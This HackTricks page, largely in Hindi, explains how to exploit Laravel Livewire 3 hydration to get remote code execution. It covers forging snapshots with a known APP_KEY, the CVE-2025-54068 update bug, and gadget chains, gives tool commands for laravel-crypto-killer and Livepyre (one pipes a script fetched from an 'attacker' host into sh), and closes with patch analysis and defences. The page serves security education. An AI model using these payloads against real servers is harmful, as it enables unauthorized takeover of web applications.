Laravel Livewire Hydration & Synthesizer Abuse

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें

Livewire state machine का Recap

Livewire 3 components अपनी state को snapshots के जरिए exchange करते हैं, जिनमें data, memo, और एक checksum होता है। /livewire/update पर हर POST server-side JSON snapshot को rehydrate करता है और queued calls/updates execute करता है।

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

जिस किसी के पास APP_KEY है (जिसका उपयोग $hashKey derive करने के लिए होता है) वह इसलिए HMAC को recompute करके arbitrary snapshots forge कर सकता है।

Complex properties को synthetic tuples के रूप में encode किया जाता है, जिन्हें Livewire\Drawer\BaseUtils::isSyntheticTuple() detect करता है; हर tuple [value, {"s":"<key>", ...meta}] होता है। Hydration core बस हर tuple को HandleComponents::$propertySynthesizers में चुने गए synth को delegate करता है और children पर recurse करता है:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

यह recursive design Livewire को एक generic object-instantiation engine बना देता है, जब attacker tuple metadata या recursion के दौरान process होने वाले किसी भी nested tuple को control करता है।

Synthesizers that grant gadget primitives

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)हर child को rehydrate करने के बाद new $meta['class']($value) instantiate करता है। array constructor वाली कोई भी class बनाई जा सकती है, और हर item खुद भी एक synthetic tuple हो सकता है।
FormObjectSynth (form)new $meta['class']($component, $path) call करता है, फिर $hydrateChild के जरिए attacker-controlled children से हर public property assign करता है। दो loosely typed parameters (या default args) लेने वाले constructors arbitrary public properties तक पहुंचने के लिए काफी हैं।
ModelSynth (mdl)जब meta में key absent होता है, तो return new $class; execute करता है, जिससे attacker control के तहत किसी भी class को zero-argument instantiation मिलती है।

क्योंकि synths हर nested element पर $hydrateChild invoke करते हैं, tuples को recursively stack करके arbitrary gadget graphs बनाए जा सकते हैं।

Forging snapshots when APP_KEY is known

  1. एक legitimate /livewire/update request capture करें और components[0].snapshot decode करें।
  2. Nested tuples inject करें जो gadget classes की ओर point करें और checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY) recompute करें।
  3. Snapshot को फिर से encode करें, _token/memo को untouched रखें, और request replay करें।

एक minimal proof of execution Guzzle’s FnStream और Flysystem’s ShardedPrefixPublicUrlGenerator का उपयोग करता है। एक tuple FnStream को constructor data { "__toString": "phpinfo" } के साथ instantiate करता है, दूसरा ShardedPrefixPublicUrlGenerator को $prefixes के रूप में [FnStreamInstance] के साथ instantiate करता है। जब Flysystem हर prefix को string में cast करता है, PHP attacker-provided __toString callable invoke करता है, और बिना arguments के कोई भी function call हो जाता है।

From function calls to full RCE

Livewire की instantiation primitives का उपयोग करते हुए, Synacktiv ने phpggc की Laravel/RCE4 chain को adapt किया, ताकि hydration ऐसे object को boot करे जिसकी public Queueable state deserialization trigger करे:

  1. Queueable traitIlluminate\Bus\Queueable का उपयोग करने वाला कोई भी object public $chained expose करता है और dispatchNextJobInChain() में unserialize(array_shift($this->chained)) execute करता है।
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) को public $chained populate करके CollectionSynth / FormObjectSynth के जरिए instantiate किया जाता है।
  3. phpggc Laravel/RCE4Adapted$chained[0] में stored serialized blob PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed build करता है। Signed::__invoke() आखिर में call_user_func_array($closure, $args) call करता है, जिससे system($cmd) enable होता है।
  4. Stealth termination[new Laravel\Prompts\Terminal(), 'exit'] जैसे दूसरे FnStream callable को देकर request noisy exception की बजाय exit() के साथ end होती है, और HTTP response clean रहता है।

Automating snapshot forgery

synacktiv/laravel-crypto-killer अब एक livewire mode ship करता है जो सब कुछ stitch करता है:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

The tool parses the captured snapshot, injects the gadget tuples, recomputes the checksum, and prints a ready-to-send /livewire/update payload.

CVE-2025-54068 – APP_KEY के बिना RCE

Vendor advisory के अनुसार, यह issue Livewire v3 (>= 3.0.0-beta.1 and <= 3.6.3) को affect करता है और v3 के लिए unique है।

updates को component state में snapshot checksum validate होने के बाद merge किया जाता है। अगर snapshot के अंदर कोई property (या बन जाती है) synthetic tuple है, तो Livewire attacker-controlled update value को hydrate करते समय उसका meta reuse करता है:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. एक Livewire component खोजें जिसमें untyped public property हो (जैसे, public $count;).
  2. ऐसा update भेजें जो उस property को [] पर set करे। अगला snapshot अब उसे [[], {"s": "arr"}] के रूप में store करता है।

एक minimal type-juggling flow इस तरह दिखता है:

POST /livewire/update
...
"updates": {"count": []}

फिर अगला snapshot ऐसा tuple store करता है जो arr synthesizer metadata को बनाए रखता है:

"count": [[], {"s": "arr"}]
  1. एक और updates payload craft करें, जहाँ वह property एक deeply nested array हो जिसमें ऐसे tuples embed हों जैसे [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. Recursion के दौरान, hydrate() हर nested child को independently evaluate करता है, इसलिए attacker-chosen synth keys/classes honored होते हैं, भले ही outer tuple और checksum कभी बदले नहीं।
  3. वही CollectionSynth/FormObjectSynth primitives reuse करके एक Queueable gadget instantiate करें, जिसका $chained[0] में phpggc payload हो। Livewire forged updates process करता है, dispatchNextJobInChain() invoke करता है, और APP_KEY जाने बिना system(<cmd>) तक पहुँच जाता है।

यह काम क्यों करता है, इसके मुख्य कारण:

  • updates snapshot checksum से covered नहीं होते।
  • getMetaForPath() उस property के लिए पहले से मौजूद synth metadata पर भरोसा करता है, भले ही attacker ने उसे weak typing के जरिए पहले tuple में force किया हो।
  • Recursion plus weak typing से हर nested array एक brand new tuple की तरह interpret हो सकता है, इसलिए arbitrary synth keys और arbitrary classes आखिरकार hydration तक पहुँच जाते हैं।

High-value pre-auth target: Filament login forms

Livewire पर बने applications अक्सर toy public $count; property से भी आसान pre-auth surface expose करते हैं। उदाहरण के लिए, Filament login pages आम तौर पर weakly typed $form object hydrate करती हैं, जो snapshot में पहले से ही form tuple के रूप में serialized होता है। इससे “scalar -> array -> arr tuple” वाला setup step पूरी तरह हट जाता है:

  • Snapshot में पहले से कुछ ऐसा होता है: {"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}
  • Attacker सीधे updates.form के साथ nested malicious tuples भेज सकता है, क्योंकि recursion बाद में [payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}] जैसे children को फिर से interpret कर देगी।
  • इसी वजह से pre-auth Livewire entrypoints जो FormObjectSynth objects expose करते हैं, खास तौर पर attractive होते हैं: वे पहले से ही instantiation और public-property assignment दोनों provide करते हैं।

Patch analysis: update recursion के दौरान raw metadata preserve करें

Fix एक dedicated hydratePropertyUpdate() path introduce करता है, ताकि nested update values अब attacker-controlled children पर generic hydrate($child, ...) call न करें:

protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);

return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}

पैच का Security impact:

  • Nested updates को original raw snapshot path के against फिर से revalidate किया जाता है, fresh attacker-supplied tuple metadata पर भरोसा करने के बजाय.
  • Recursive hydration अब children को mid-flight s या class redefine करने नहीं देती.
  • इससे arbitrary synthesizer switching और nested update arrays के अंदर arbitrary class selection, दोनों block हो जाते हैं.

Livepyre – end-to-end exploitation

Livepyre APP_KEY-less CVE और signed-snapshot path, दोनों को automate करता है:

  • <script src="/livewire/livewire.js?id=HASH"> (या ?v=HASH) को parse करके deployed Livewire version की fingerprinting करता है, और hash को vulnerable releases से map करता है.
  • benign actions को replay करके और components[].snapshot extract करके baseline snapshots collect करता है.
  • या तो updates-only payload (CVE-2025-54068) या phpggc chain embed करने वाला forged snapshot (known APP_KEY) generate करता है.
  • अगर snapshot में कोई object-typed parameter नहीं मिलता, तो Livepyre coercible property तक पहुंचने के लिए candidate params brute-force करने पर fallback करता है.

Typical usage:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check एक non-destructive probe चलाता है, -F version gating को skip करता है, -H और -P custom headers या proxies जोड़ते हैं, और --function/--param gadget chain द्वारा invoke की जाने वाली php function को customise करते हैं।

Defensive considerations

  • Fixed Livewire builds (>= 3.6.4 according to the vendor bulletin) पर upgrade करें और CVE-2025-54068 के लिए vendor patch deploy करें।
  • Livewire components में weakly typed public properties से बचें; explicit scalar types property values को arrays/tuples में coerced होने से रोकते हैं।
  • केवल वही synthesizers register करें जिनकी आपको सच में जरूरत है और user-controlled metadata ($meta['class']) को untrusted मानें।
  • ऐसे updates reject करें जो किसी property का JSON type बदल दें (जैसे scalar -> array), जब तक explicitly allowed न हो, और stale tuples reuse करने के बजाय synth metadata को फिर से derive करें।
  • किसी भी disclosure के बाद तुरंत APP_KEY rotate करें, क्योंकि यह code-base कितना भी patched हो, offline snapshot forging को संभव बनाता है।

References

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें